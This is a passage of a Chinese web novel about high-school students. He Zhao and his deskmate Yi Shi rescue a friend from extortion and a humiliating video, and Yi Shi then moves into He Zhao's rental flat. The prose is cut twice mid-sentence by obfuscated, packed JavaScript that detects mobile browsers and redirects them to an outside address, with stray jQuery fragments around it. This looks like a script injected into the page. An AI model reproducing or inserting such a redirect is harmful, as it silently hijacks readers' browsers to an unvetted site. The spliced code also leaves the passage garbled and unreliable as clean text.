贺昭为什么就那么讨厌?杜仕杰盯着贺昭甚至生出一种“既生贺昭,何生他”的愤慨,不由自主握紧了拳头。 贺昭也盯着杜仕杰,比起咬牙切齿脸色难堪的杜仕杰,他显得十分平静。 分不清是自小接受的体面教育刻在了骨子里还是自己本来就是这样的个性,贺昭不喜欢让人难堪,不喜欢看人窘迫,不喜欢拂人面子,更不喜欢失态地发泄情绪,那样太愚蠢。但他并非是老好人,也并不大度,很多时候只是不愿撕破脸皮,毕竟维持表面上的平和可以减少很多麻烦事。 贺昭给了杜仕杰足足30秒的时间,才一字一顿地说:“杜仕杰,你可以说我成绩不好说我家穷,唯独不能拿我妈改嫁说事。我今天早上没跟你计较,不代表你就能得寸进尺。我吃饱了,先走了。” 说完,贺昭毫不留恋拎起书包,想了想,又对着姜林和何崇山说:“你们待会儿记得送女生上车后再走。” 姜林立即连连点头:“好好好。” 贺昭一摆手,直接转身走了。 静了几秒,易时站起身:“我也先走了。” 跨着大长腿大步往贺昭离开的方向走去。 两人走开十几步,姜林才像反应了过来:“今天早上?今天早上怎么了?” 在场唯一知情的杜仕杰咬着牙关,没有吭声。 何崇山扫了一眼杜仕杰,缓慢地说:“副班,你刚刚真的过分了,也就贺昭性格好,换做张江洋,直接一拳挥过来了。你明天找个时间,好好跟他道个歉。” 杜仕杰终于硬邦邦开了口:“来就来,我还怕他?” 何崇山顿了顿,看了眼杜仕杰文质彬彬的长相和瘦弱的体型,没有再说什么。 平日里和杜仕杰关系还不错的生活委员钟原拍了拍杜仕杰的肩膀:“副班肯定是喝多了不清醒,我待会儿带他醒醒酒,何大仙你也劝劝贺昭,大家都是同学没必要搞成这样。贺昭也是,怎么就直接走了呢,一点儿面子都不给。” 姜林性子直,直接翻了个白眼:“劝我哥?我哥怎么了?你没事儿吧?喝酒就能乱说话啊?喝酒怎么不去抢劫银行啊?” 左芮敲了敲桌子:“都少说两句吧,时候不早了大家吃完早点回去。” 于是,没有人再开口。 整个烧烤店都热热闹闹,似乎所有人都在说话,隔壁桌也是六中学生,不知道在聊什么传来一阵又一阵嬉笑声,只有他们一桌沉默得突兀。 13. 易哥 贺昭低头分别给姜林和何崇山发了一样的消息:“今晚的事不要跟张江洋提。” 这条美食路到了晚上特别热闹,鲜艳耀眼的灯光交辉相应,各种小摊小贩像一块块拼图填充着原本宽阔的街道,不同商铺放的不同流行乐混杂在一起,食物的香气、各种话语也交叠在一起,堆砌出熙熙攘攘的烟火气。 贺昭其实听见易时走了,也知道易时就走在后面。他越走越慢,最后索性停在一个人少的地方,等易时走近了,若无其事收起手机:“你刚刚都没来得及吃几口吧?饿不饿?要不要去吃点东西?” 易时似乎有些意外,低头看他,好一会儿才迟疑地开口:“今天早上……” 贺昭笑了笑,大大方方地说:“没事儿,我知道不关你的事,我跟杜仕杰的恩怨也不是一天两天的事了。” 话虽这么说,贺昭也知道易时不是那种会和别人一起在背后说三道四的人,但他今天一整天确实有种说不上来的失望和迁怒。 可刚刚易时直接就跟着他走了,那一瞬间莫名其妙就感觉易时果断且坚定地表了立场。 在贺昭和杜仕杰之间,易时选了贺昭。 搞对立拉帮结派是很幼稚,但是真有人在这种时刻,而且还是杜仕杰想结交的对象,毫不犹豫甚至是毫无顾忌就和他站一边,还是很爽很痛快。 幼稚就幼稚吧,小肚鸡肠就小肚鸡肠吧,反正杜仕杰越不高兴他越高兴,反正他现在心情不错。 贺昭又说:“还有件事我要声明一下,加你微信那些人都不是我推的,也都跟我没有关系。” 他才不会做这种僭越分寸的事,也不能忍受有这样被误会的可能。 易时应了声:“知道。” 话说清楚了,贺昭舒坦了,十分豪爽地说:“想吃什么尽管说,我发财了我请客。” “拿我的钱发财请客?”易时说。 贺昭乐了,故作一本正经:“什么你的钱我的钱,都到我口袋里了,反正不都我们两个人吃么。” 往四周看了一圈,贺昭锁定一家烧烤店:“你不是想吃烧烤吗?要不要继续吃没吃完的烧烤?” 易时看了他一眼:“我来不是为了吃烧烤而来。” 贺昭转头看他,纠正:“我不是为了吃烧烤而来,或者我来不是为了吃烧烤,不用重复。” 沉默了一会儿,易时:“知道了。” 贺昭:“这下我相信你确实是在国外长大的了,我们楼下上一年级的小胖子都不犯这种低级错误。” 易时:“……” “你不吃烧烤你来干嘛?”贺昭拿出手机搜附近的店,边浏览边问,“你想吃什么?” 易时似乎叹了一口气:“找房东拿钥匙。” 贺昭想起来了,自己是准备了钥匙还没给他,他伸手往书包里掏了掏:“你怎么不早说?” 贺昭只是随口一说,易时却接过了话,反问:“多早?” 贺昭噎了一下:“今天一天你都可以问啊。” 易时还要说什么,贺昭的手机响了,张江洋来电。 “喂干嘛?打包宵夜,外卖费100。” 张江洋根本没听清他说什么,扯着他的大嗓门:“喂!哥!听得见吗?你在哪?不好了胖子被人带走了!” 他应该正在骑车,呼呼风声和他嗓门一样大,一同从手机里传了出来。 贺昭把手机拿远了一点:“什么鬼?什么大师兄不好了,师傅被妖怪抓走了?你那边风太大我听不清!” 风声戛然而止,应该是张江洋刹住了车,他耐着性子半吼半解释:“我一朋友,看见胖子!罗浩!在学校附近的炸鸡店被几个二十九中的人带走了,往北边小巷里去了,北边小巷!你不是跟何崇山他们吃烧烤吗?你先带他们去看看,我马上过来。” 然后直接挂断了电话。 贺昭愣了愣,不敢相信自己听见的,扭头问易时:“你听清他说什么了吗?” 易时冷静重复:“罗浩被二十九中的人带去了北边小巷。” 贺昭:“卧草?” 罗浩怎么跟二十九中的人扯上关系了? 来不及细想,贺昭已跑出了百米冲刺的速度,像一阵风从易时旁边掠过,灵活地闪避着人群:“借过一下!谢谢!” 不一会儿拐进了右手边的巷子里,消失了。 北边小巷是学校后门附近一块待拆迁的城中村,就藏在周边高楼大厦的背后,往里走去全是低矮破旧的房子,简陋的自建房杂乱无章地陈列在阴暗潮湿的巷弄,头顶是密集交织的电线,脚下是坑坑洼洼的巷路,曲曲绕绕像个迷宫。 贺昭跑得太猛,停下的时候差点没缓过来气,弯腰扶着膝盖呼吸了几口,边用手掌扇风边往里走。 北边小巷并不大,只是小路特别多,贺昭明明听见了些许说话的声音,但是又摸不着在哪。 他绕着巷弄走了好一会儿,没想到竟然先遇见了易时。 贺昭抹了把额头的汗:“你怎么进来了?” 易时没有回答,指了指左手边:“这边。” 贺昭:“你怎么知道?” 易时:“听到了。” 贺昭侧耳听了一下,什么也没有,说话声似乎停止了。 他狐疑地看了一眼易时,但还是走进了左边。 总比像无头苍蝇一样乱撞好吧。 大概往里走了十几米,贺昭竟然真的见到了罗浩,还有围着他的五个男生。 贺昭惊叹:“你属狗的吧?竟然真让你听到了。” 易时没有说话,那五个男生也没有说话,冷冷地看着贺昭和易时,一副你敢过来试试看的样子,中间那个剃着寸头的男生示意性地扬了扬下巴:“你朋友啊?” 罗浩僵直着身体不情愿地回了头,极快地扫了一眼贺昭,刻意避开了和他眼神对视:“不……不认识。” 贺昭走近了好几步,借着昏黄的路灯他看清楚了,有四个男生确实穿着二十九中的校服,但还有一个是六中的校服。 二十九中和六中就隔着两条街,名气却大不相同。六中虽是重点高中还算不上知名,二十九中却是远近闻名。它是全市最烂的高中,倒不是成绩最烂,就是不太像普高,仿佛是不良问题青少年集中营,其他学校拼升学率拼重点率,他们拼群架斗殴,还因为校园暴力上过好几次社会新闻。 初中的时候就因为担心张江洋会考进二十九中,贺昭、姜林还有徐梦凡可谓是使出浑身解数帮他补课。 穿着六中校服的男生突然说:“他是张江洋的哥哥。” 寸头感兴趣地看向贺昭:“你是张江洋的哥哥?” 贺昭一时分不清他是跟张江洋有仇还是认识,没有回答。 寸头倒也没有追问,抬手在罗浩脸上拍了拍,发出啪啪的声音,贺昭看见罗浩颤抖着闭上了眼睛。 寸头问:“张哥,你认识这死胖子?” 你才张哥,你才死胖子。 贺昭点点头:“我认识他。” 寸头笑了:“那你知不知道他欠了我五千块钱没有还?你要替他还了?” “你让他过来我这边自己跟我说。”贺昭说。 贺昭的口吻有种不容反驳的坚定,寸头吹了声口哨:“我已经很久没在一群书呆子的六中见到这么有种,敢这么跟我说话的人了。” 贺昭心想,他也很久没见过说话这么中二这么混的同龄人了。 总之对这种自认为是大哥的中二病患者绝对不能弱了气势,贺昭冷笑一声:“哪来那么多废话,直接点,你想怎样?” 寸头抬脚在罗浩肚子上踢了一脚,罗浩连着退了两步,不知道是痛还是觉得屈辱,他一声不吭低着头,腮帮不住发抖,似乎在死死咬着牙克制自己。 “唷从哪找了个靠山罩你啊?还张江洋的哥哥,怎么不哭着找老师啊?”寸头说。 贺昭在心里骂了声草,上前把罗浩拉到自己身边,没好气骂道:“你踏马有病啊你踢他干嘛?” 寸头皮笑肉不笑地笑了一声:“啧英雄救美,噢不英雄救胖猪,诶英雄你不知道吧?这死胖子也是学人家当英雄,见到我们关爱同学竟然威胁我们说要报警。喂,胖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480245|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子现在怎么不报警了?不是很能耐嘛。” 贺昭往书包里掏手机:“噢你提醒了我,我该报个警。” 寸头还没任何反应,罗浩已经拉住了他,拼命摇头,语气近乎哀求:“不要……不要报警。” 贺昭愣了愣,寸头和他的小伙伴随即大笑。 寸头说:“嘿嘿,在报警之前想不想看看这个精彩视频?我精心拍摄,早就想分享给别人看。” 罗浩猛地抬起头:“不要!” 寸头却大笑着迫不及待点开了视频,隔着一米多的距离,贺昭看得不是很清楚,但隐约可以看见视频画面上似乎是罗浩被强迫着跪在地上。 寸头把声音调到最大,视频里嘻嘻哈哈有人问“你叫什么?” “罗浩。” “你是谁?” 罗浩颤抖着应:“我是狗。” 然后视频里爆发出一阵大笑。 寸头摁了暂停,笑着说:“后面还有更精彩的呢想不想看?不过再看要付费了。张哥,你觉得我这个视频值不值五千?我一直想把这视频传到网上去,可惜死胖子死活不让。” 罗浩死死咬着嘴唇,这下连手都不住发抖,似乎已经濒临崩溃边缘。 张江洋怎么还不来! 等等,巷口似乎有自行车刹车声。 “我觉得其实可以报警,反正我迫不及待把这视频分享给六中的同学们……”寸头还在继续说。 贺昭忍无可忍将书包一把砸在寸头脸上,一把抢走他手上的手机,用力摔在地上,又从墙角拿起一块砖狠狠砸了几下,一系列动作一气呵成。 贺昭将碎成几瓣的手机踢回寸头脚下,骂道:“神经病什么垃圾玩意真以为自己是什么大佬我呸社会毒瘤人间害虫!就会欺负老实人!” 寸头摸了摸脸,又看向地上的手机残块,愤怒地挥拳过来:“你踏马的!” 贺昭早已经准备好打这一架,正要动手,寸头已经被揪到了他身后。贺昭回过头,易时一只手揪着寸头的领子,另一只手握成拳头重重砸在了寸头脸上。他从来不知道拳头砸在脸上可以发出这么大的声音,吓了一跳,然后看见易时掐着寸头脖子往墙上磕了一下,又发出了不小的响声。 易时还是平日里那副面无表情的样子,眼神却凶狠坚绝、毫不留情。 贺昭一下子被震住了,完全忘记了自己还窝着一肚子火。他是几乎从未打过架的好学生,张江以前洋倒是经常打架,脾气暴躁一言不合就跟人动手,但也从未有这种不顾一切往死里打的狠劲儿。 贺昭扭过头,看见踩着山地车刚刚赶到的张江洋愣在了巷口,而寸头那几个手下似乎也没见过这架势僵在了原地,甚至忘了帮忙。 贺昭心里顿时舒坦了,原来不只有他没见过世面。 易时松开寸头,寸头头抵着墙脚滑了一下。 贺昭小小退了半步,目瞪口呆地问:“他……不会死了吧?” 易时瞥了他一眼,那眼神仿佛他问了什么愚蠢的问题,但还是回答了句:“死不了。” 寸头嘴角流出血,咳了一声。 贺昭松了一口气,没死就好。 张江洋终于反应了过来,丢下自行车,大步走了过来:“草泥马,欺负人欺负到我头上来了!来呀,真以为我怕你们二十九中啊!狗玩意儿!” 其他四个男生明显退缩了,对视了一眼,扶起寸头快步往巷子外走,气势薄弱地说了句:“你们等着!” 张江洋冷笑:“行!我等着!不来的是怂蛋!” 贺昭:“张江洋你先带易时出去,找个地方吃点东西吧,我们一会儿就来。” 张江洋看了一眼罗浩,应了声“哦”,听话地走到巷口扶起了自行车。 易时没说话,转身直接从贺昭身边走过,贺昭低声说:“易哥,谢谢了。” 谢谢他刚刚出手。 也谢谢他跟着他走进北边小巷。 吃烧烤的时候贺昭喊他易哥纯粹是跟着凑热闹,现在却是真情实意。 易时顿了一下,走了几步才说:“嗯。” 14. 欢迎 待张江洋自行车的声音远去,贺昭拍了拍罗浩的背:“今晚的事我会忘了,张江洋和易时也会忘了。” 紧绷着没有说话的罗浩一下子松懈了下来,顿时觉得有什么东西从眼睛流了下来,他抬手擦了下眼泪,没有止住反而越擦越多,索性直接哭了出来,越哭越大声:“我踏马的!怎么就这么没用!太丢人了!我也不知道我怎么就这么怂!我……我……” 罗浩一边哭一边骂,骂自己骂二十九中的人,贺昭就一直耐心听着,等他哭得差不多了,才安慰说:“我没有觉得丢人,这有什么的,你以前被你妈打,光着屁股逃进我家的样子我都见过。” 罗浩哽咽:“那时候我才五岁!还是个孩子!” 听了这话,贺昭突然有些想笑了,但忍住了,继续安慰:“你现在也是孩子,大孩子。” “那视频……那视频……”罗浩抹了把眼泪,“我不按照他们说的做他们就不让我走,我还赶着去上补习班!” “那是,不能跟他们浪费时间阿,能屈能伸才是男子汉大丈夫。”贺昭从书包里翻了翻,没有找到纸巾,看着罗浩满脸眼泪鼻涕叹了口气,“要不你直接用衣服擦吧。” 罗浩捡起被丢到角落属于他的书包,从里面拿出了纸巾,闷闷地说:“其实我就是很胆小怕事很怂,他们拦着我的时候,我就后悔了,吓得腿都软了。” “你是看到他们欺负人才惹上他们,我觉得你特别勇敢,真的,一般人都不敢去管。而且那些人欺软怕硬才是真正的怂包,他们最后不也吓得屁滚尿流吗?”贺昭安慰。 罗浩吸了下鼻涕:“我就是觉得特别伤自尊特别丢人,你不是和何崇山他们吃烧烤去了吗?他们人呢。” “早吃完了,他们没有来,我是接到张江洋电话过来的。”贺昭说。 “你就自己跑来了?”罗浩愣了一下,有些感动,“昭儿,你对我太好了,我……我真不想给你添麻烦。” “你帮我补课的时候帮我写作业的时候怎么不说我给你添麻烦?不哭了?不哭就走吧,这地方怪阴森森的,”贺昭打量了他一眼,“去我家洗洗再回家吧,这会儿我妈还没回家,你这样回去你妈见了得吓死。” “嗯,”罗浩像个受委屈的小媳妇跟着贺昭往外走了几步,“昭哥,我真的……” 贺昭能说的安慰话都说完了,见罗浩恢复得七七八八,开玩笑打断道:“真这么感动,要不你直接给我磕个头吧。” 罗浩停了一下,改了口:“踏马的易哥太帅了,我要是女的这辈子非他不嫁了。” “那还好你不是女的,要不然易哥该后悔帮你了,他应该不喜欢你这款。”贺昭说。 罗浩:“那他得喜欢什么样的?” 贺昭:“我怎么知道?” 贺昭低头打字问张江洋他们在哪,张江洋没回消息估计没看手机。 贺昭正想着要不要直接打个电话过去,可刚从北边小巷走出来,就看见了张江洋和易时,张江洋蹬着他的破山地不停转圈,易时则倚着路灯杆低头玩手机,看样子是在等他们。 罗浩有些不好意思地往贺昭身后缩了缩,张江洋抬头看见了他们,蹬着自行车俯冲了过来,正好停在二人面前:“害,有什么可不好意思的,我以前还被人打到住院,就按在地上打,断了一只胳膊,我不也好好的嘛。” 贺昭:“唷,还挺自豪?你快用你那断胳膊把胖子载回家洗洗。” 张江洋看了眼易时,疑惑地说:“不是说去吃东西吗?” 罗浩低着头,不愿意他们看见他发涨的眼睛:“改天吧改天我请你们吃饭,等我拿到下个月零花钱。” 贺昭突然想起来,问道:“你是不是给了钱那寸头?” 罗浩迟疑道:“嗯……” “卧草,打架就打架怎么还勒索?”张江洋问,“他拿了你多少钱?我给你讨回来!” 贺昭:“算了吧你可别跟他们纠缠不清。” 罗浩犹犹豫豫:“5……5千……” “什么!!” 贺昭和张江洋几乎是异口同声喊了出来。 “不行不行,”张江洋用腿支地,任由罗浩扶住他肩膀踩在山地车后面的火箭筒,“这肯定得讨回来。” 贺昭点点头:“是得讨回来,必须得讨回来。” 易时面无表情看了他一眼。 贺昭伸出五个手指头:“看我干嘛?五千耶!” 张江洋腿一蹬,载着罗浩的山地车摇摇晃晃往前驶去:“沃日,胖子,你是该减减肥了。” “你不是半夜起来做俯卧撑吗?这就不行了?” “我当然行,我怎么会不行,我是怕我这车不行……” 两人你一句我一句地越来越远。 贺昭恭敬地问:“英雄,您看我们是去吃东西呢还是回去呢?” 易时收起了手机:“回去吧。” 两人走了几步,贺昭斟酌着开了口:“我知道你不是会乱说的人,但我还是想跟你说一声,希望你不要跟别人提起今晚这事,胖子他是个很敏感的人,要是被人知道了估计要羞愤得跳楼。” 易时答得迅速简洁:“好。” 贺昭笑了一下,上下审视了易时一番:“说起来,英雄经常打架吧?打架打得挺顺手啊,我就说你这样怎么可能遇见的人都love&peace。” 易时面无表情:“我这样?” 贺昭指着宽阔的马路:“对,就是你这样的语气这样的眼神,幸好这路够宽,不然都不够你拽的。不过,你刚刚挺帅的,帅得胖子想嫁你,就是下手重了那么一点点。” “如果不让对方害怕到逃跑,他下次还会来。”过了好几秒,易时才蹦出这么一句。 贺昭琢磨着,这句话信息量有点儿大啊,这是经验之谈?得经历过什么才有这样的经验?而且他那样敏捷自然的身手也不是一般人能有。难道……贺昭顿时脑补出易时叼着烟坐在高位上,小弟们毕恭毕敬围着他,脚下还跪着一群鼻青脸肿被打怕了的对手的场面,传说中的□□高中生? 贺昭有些好奇,但是易时应该不会想跟他深入聊这个话题,于是,他只说:“身手不错。” 易时:“你学几年搏击也可以。” 贺昭眨了眨眼睛,所以身手好不是打架打得多,而是学过搏击?普通中学生会特地去学搏击吗?易时看起来不像是会主动惹事的,不会真是长得太帅太冷被人找茬吧?不会是最难消受美人恩吧?美剧里都是这么演的。 易时不冷不热说了句:“想问什么就直接问。” 贺昭看了他一眼,他看上去好奇得这么明显吗?可是易时明明就目不斜视没有看他啊。 不过易时语气冷淡,但是看上去好像并不抗拒,他想了想,决定回到最早就想问的问题:“你为什么去鬼屋啊?” 沉默了好一会儿,就在贺昭想着易时不想回答就算了,打算换个话题的时候,易时低声说:“那是我外婆的故居。” 贺昭怔了怔:“你外婆……” “过世了,”易时的语气淡得不露情绪,“她身体不好坐不了那么久飞机,但她一直想回来。” 贺昭立即诚恳道歉:“对不起,我不知道……我不该说那是鬼屋。” 易时:“无所谓,我只是想看一眼。” “所以……你是第一次来这座城市?”贺昭偏头看他,有几分好奇,“那你觉得这座城市怎么样?” 易时毫不犹豫吐出两个字:“迷宫。” 贺昭弯了弯眼睛:“好像很多人都这么说,怪不得我第一次见到你,在公交车上的时候,就觉得你浑身都透露着迷茫二字,有一种‘我从哪来,该到哪去’的深沉。” 易时没有说话,像是回想起了什么,看向旁边微低头的少年。四周很安静,风微微鼓起少年宽松的校服,掠过单薄的锁骨和背脊,挺拔而又漂亮,路灯在他脚下拉出细长的影子,恍然有种说不上来的脆弱感,显得有点儿孤寂。 他听见贺昭轻声说:“我跟你相反,我基本上没有离开过这座城市,我以前和胖子是邻居,就是你外婆老家那附近,后来搬到这儿,最远也就跨个区了,我应该这一辈子都不会离开这里了。” 易时有点儿意外,贺昭身上一直有股鲜活劲儿,少年特有的轻盈自在,仿佛一阵风,从他嘴里说出“一辈子”三个沉甸甸的字,有些突兀。 过了好一会儿,易时嘴唇动了一下:“为什么?” “为什么啊……”贺昭似乎在认真思考这个问题,揉了一下鼻子,他说,“因为太难了。” 他熟悉这座城市,但是他时常也有和易时一样的感觉,觉得这座城市像个迷宫,就好像会一直困着他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480246|201697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不说这个了,你今晚就搬进去吗?你的东西呢?”贺昭问。 易时:“已经让人把我的东西送了过来。” 贺昭点了点头,问了句:“需要帮忙吗?” 易时:“不用。” 贺昭在心里啧了声,这拒绝果断而坚决,丝毫没有犹豫,也没有给人余地。 过了几秒,易时加了句:“我东西很少。” 贺昭应道:“好哦。” 靠近住宅区是一片灯火通明,万家灯火,盏盏点点,亮度不同,却是一样温馨。 “对了,我一直忘了问你,”贺昭说,“你打算租多久啊?” 易时:“应该至少到高考。” 贺昭语气很轻松:“那还挺久的,我一直以为你很快就要走了。” 易时微微愣了一下,再度看向他。 “因为……”贺昭没有看他,继续往前走,“你似乎不想跟周遭扯上关系,就像一个旁观者看着这个地方看着我们,有一种随时抽身离开的感觉。你还要住这么久的话……其实这儿的人都挺热情挺好相处的,楼下的婆婆,你对门的叔叔一家……我们小区的人都挺好,班上的人也是,他们对你有时候是有点儿过于好奇但没有恶意,你或许可以试着和他们接触看看,可能并不会那么糟糕。” 易时垂眼看着他,过了好一会儿突然问:“你呢?” 贺昭有些不明白:“我?” 易时抿了抿唇:“我回国认识的第一个人是你。” 说实话贺昭有点儿惊讶,他一直以为易时不太乐意和别人包括他有太深接触。表面上看起来易时似乎愿意和他多说几句话,但那是因为他们同桌,而且他也一直有分寸地保持着距离。 难不成易时也像小动物一样会把自己破壳后见到的第一个人认成妈妈?那好像叫印随行为,一个特定敏感期的学习方式。 把面前高高瘦瘦的男生和新破壳的小动物联系在一起确实有些好笑,但贺昭自觉地把那一点儿想笑的冲动强行压了下去。他有预感要是他现在笑出来,易时会十分后悔刚刚说出了那句话,甚至可能会恼羞成怒,因为不过安静了几秒,他就看见易时身侧瘦长的手指有些不自然地曲了曲。 不知道是不是受到传染,贺昭也有些不太好意思了,总觉得说什么都显得矫情,他挑了几句最不别扭的话故作自然地说了出来:“我都叫你哥了,你还没感受到我的热情吗?一直可都是别人叫我哥。” 谁知,他尽力维护这难得的勉强算得上温情的时刻,易时却没有,他说:“今晚之前我不明白他们为什么会叫你哥。” 语气很冷淡,但是贺昭敏锐地捕捉到了其中不明显的嘲讽。 贺昭啧了声:“什么为什么?当然是凭我高凭我帅凭我人格魅力啊。” 易时瞥了他一眼:“高?” 贺昭顿时被他刻薄的单字激到了,甚是不服气:“我们这是南方,我这身高这腿长你知道有多少人羡慕?讲道理,我们班除了你和何大仙胖子还有哪个比我高?如果你不上场,何大仙还想安排我抢篮板呢!我再给你一次机会,你好好修改下措辞,喂,这位同学,你不要假装听不见,听见没?” 易时:“听见了,不矮。” 贺昭:“???” 拐个弯就到了小区门口,旁边有家小小的便利店,是一对老夫妇在经营,已经开了近二十年。 贺昭小跑了过去,极为自然地从冰箱里拿出两瓶可乐,放在柜台上:“钱爷爷,买两瓶可乐。” 他一句爷爷喊得又乖又亲切,还附带一个全套的卖乖笑容。 钱爷爷正盯着那台小小的电视,闻言推了一下眼镜,边看着电视屏幕边帮他扫码,随口道:“小昭下课啦?” 贺昭扫码付钱,跟着瞟了眼电视:“是啊,哇终于怀疑到这坏蛋身上了。” 钱爷爷笑着说:“怎么?你也看这电视剧?” 贺昭笑嘻嘻地说:“我妈在看,爷爷我先走啦。” 贺昭拿着可乐蹦回易时身边,把其中一瓶递了过去正在等他的易时。 贺昭拧开痛快地灌了一大口:“渴死我了。” 然后用可乐轻轻碰了一下易时手上那瓶可乐的瓶身,露出了笑容。 “虽然迟了点,但是易时同学,欢迎你来到迷宫,欢迎你来到3班,也欢迎你入住我家。” 15. 房东 走到楼下,贺昭注意到前面的空地停着一辆和这破旧小区格格不入的小轿车。 贺昭下意识看了一眼易时,果然,易时止住了脚步,几乎是同时,车里的人打开了车门。 从车上下来的是一个身材高挑高穿着考究的男人,看起来很年轻不过三十出头,但贺昭直觉他的实际年龄应该比看上去要大一些。 易时客气而疏离地喊了声舅舅,用同样的口吻问:“你怎么过来了?东西不是让司机送过来了吗?” 贺昭不动声色地消化自己听到的,司机??司机???我的同桌兼房客是传说中的富二代?? 草啊,牛批啊。 易时的舅舅和易时一样高瘦而挺拔,但看上去很斯文温和,有一种说不上来的彬彬有礼,他笑了笑:“我总要来看看你住的地方,这是你同学?” 贺昭主动热情地回应:“叔叔好,我是易时的同学兼房东,我叫贺昭。” 虽然易时的舅舅看起来很年轻,但总不能易时叫舅舅,他喊哥哥吧? 易时的舅舅似乎有点儿意外,礼貌地笑了一下:“你好,我是易时的舅舅,我叫易谦,你是易时的房东?” 贺昭正要开口,易时出声打断了:“既然来了就上来看看吧。” 易谦温声应道:“嗯,上去看看。” 贺昭瞟了一眼易时,他似乎不愿意自己和他舅舅有什么接触。也是,自己一个外人是应该避开。他伸手往书包里掏了掏,把至今没给易时的钥匙握在手里。 一抬头,易时正领着易谦往楼梯间走去,贺昭几步追了上去:“易时,你不带叔叔坐电梯吗?” 七楼说高也不高,但对于没爬习惯的人来说还是有些累人,况且他舅舅看着就不是会喜欢爬楼梯的人。 易谦正打量着这破旧的楼,虽然很有教养地克制住自己没有流露出嫌弃的表情,但贺昭看得出来他对这里不满意。 易谦闻言礼貌地问:“这里有电梯?” 贺昭读出了他的想法,这破地方竟然还有电梯? 贺昭用一半不满一半开玩笑的调调笑着说:“叔叔,别看我们这小区破,我们其实还是学区房呢,而且位置极其便利,去学校很方便去哪里都很方便,街坊邻居也都认识多年都是很好的人。” 易谦神色自若地点了点头:“看出来了。” 贺昭不知道他说的看出来是看出来了什么,但他好像说什么都客客气气温温和和,温文尔雅、滴水不漏,这样的人竟然是易时的舅舅。 也差太远了吧。 还是易时长大后也会变成这样? 嗯……应该不会,易时长大后应该也会是个冷酷的大人。 贺昭绕到易时旁边,把钥匙塞进了他手里,易时反应很快,几乎是下意识抗拒,贺昭早预料到他会有这样的反应,不动声色拽住了他的手腕,把钥匙再度塞了过去,小声说:“钥匙,钥匙。” 易时的腕骨微微隆起,硬得有一点儿硌人,手腕的皮肤冰冰凉凉就像他这个人给人的感觉,在这个炎热的天气触碰起来还挺舒服。但贺昭觉得自己的体温应该挺高,明显感觉到易时似乎被烫了一下。 于是,易时一接过钥匙,贺昭立即自觉地拉开了距离。 不喜欢麻烦人,也不喜欢跟人触碰,大少爷毛病可真多,不过,居然还真是大少爷。 小区的楼层不高,电梯平日里几乎是老人小孩在用,这会儿安安静静空无一人。 贺昭替他们按了7楼又自觉按了6楼,到了6楼礼貌道别完走到家门口,按了按门铃,没有人来开门,里面似乎也没有动静。 张江洋人呢?死哪去了? 贺昭把手伸进书包,艰难地摸到了钥匙,忽然,看见书包里的手机屏幕亮了一下,有人发了微信消息过来,只半秒又发了一条过来。 贺昭一向不急着回消息,但对方这频率似乎很急促,贺昭懒洋洋划开手机。 租客:钥匙 租客:开不了门 贺昭过了好几秒才反应过来租客是谁,钥匙开不了门?怎么可能?他昨天不是才拿那钥匙开了门带易时看房吗? 贺昭想了想,从书包里掏出了另一枚钥匙试了一下,也开不了门。 他似乎给错钥匙了。 原本七楼六楼这两枚钥匙就在同一个钥匙圈里,他昨晚才特地把两枚钥匙拆开。他明明记得带钥匙圈的是七楼的啊,竟然搞反了? 贺昭立马沿着楼梯往上走,走了几步听见了易谦不急不缓的声音:“你想搬出来住我不反对,但说实话你选的地方我不太满意。你一向有自己主意,我也不想过多干涉,不过看到你交到了朋友,我稍微放心了一些。” 贺昭停住了脚步,他不想偷听,但又不想打扰他们两人说话,等了好一会儿。 结果,易时就应了一声:“嗯。” 嗯?这有什么好嗯的? 贺昭轻轻往后退了几步,然后加重了脚步重新走了上来。 易时和易谦正站在门口看着他,他揉了揉鼻子,干笑了一声:“不好意思,我给错钥匙了。” 易时的行李确实很少,放在门口的竟然只有一个行李箱和一个三角形深色盒子。 易时接过钥匙,动作麻利地打开了门。 贺昭正准备热心地帮他把行李拿进去,易时回头看了他一眼:“不用,你可以回去了。” 听听这什么话!听听这什么冷淡语气! 贺昭明明觉得今晚之后两个人的关系有了质的飞跃,怎么这么一会儿就回到解放前? 贺昭原想翻个白眼,但碍于易谦在场,只看了他一眼,客气地说:“好哦,易时同学,那我先走了。” 想了想,他对着易时伸出了手。 易时:“?” 贺昭耐心地说:“我给错我家钥匙你了呢易时同学,麻烦你还给我,谢谢。” 易时顿了顿,把带钥匙圈的那一枚钥匙放在了他掌心。 贺昭头也不回下了楼,用钥匙开了门。 张江洋居然在家,看起来刚洗完澡,就站在客厅中央边看电视边擦头发。 贺昭问:“你在家刚刚怎么不开门?胖子回去了?” 张江洋:“对啊回去了,刚刚是你按门铃吗?我正洗澡呢,还以为胖子漏了什么东西回来拿,洗到一半出来开门,人影都没见着。你不是有钥匙吗?刚刚去哪了?” 贺昭慢慢悠悠换鞋:“去伺候楼上的租客了。” 张江洋咦了声:“租客?租出去了?就你那叫价竟然也租得出去?房租多少?” 贺昭随口回答:“一口价3000啊。” 张江洋闻言猛地转过头来,一脸不可置信:“什么?3000?那租客是疯了还是傻了?” 贺昭不乐意了:“不是,我那房子怎么就不值3000了?” 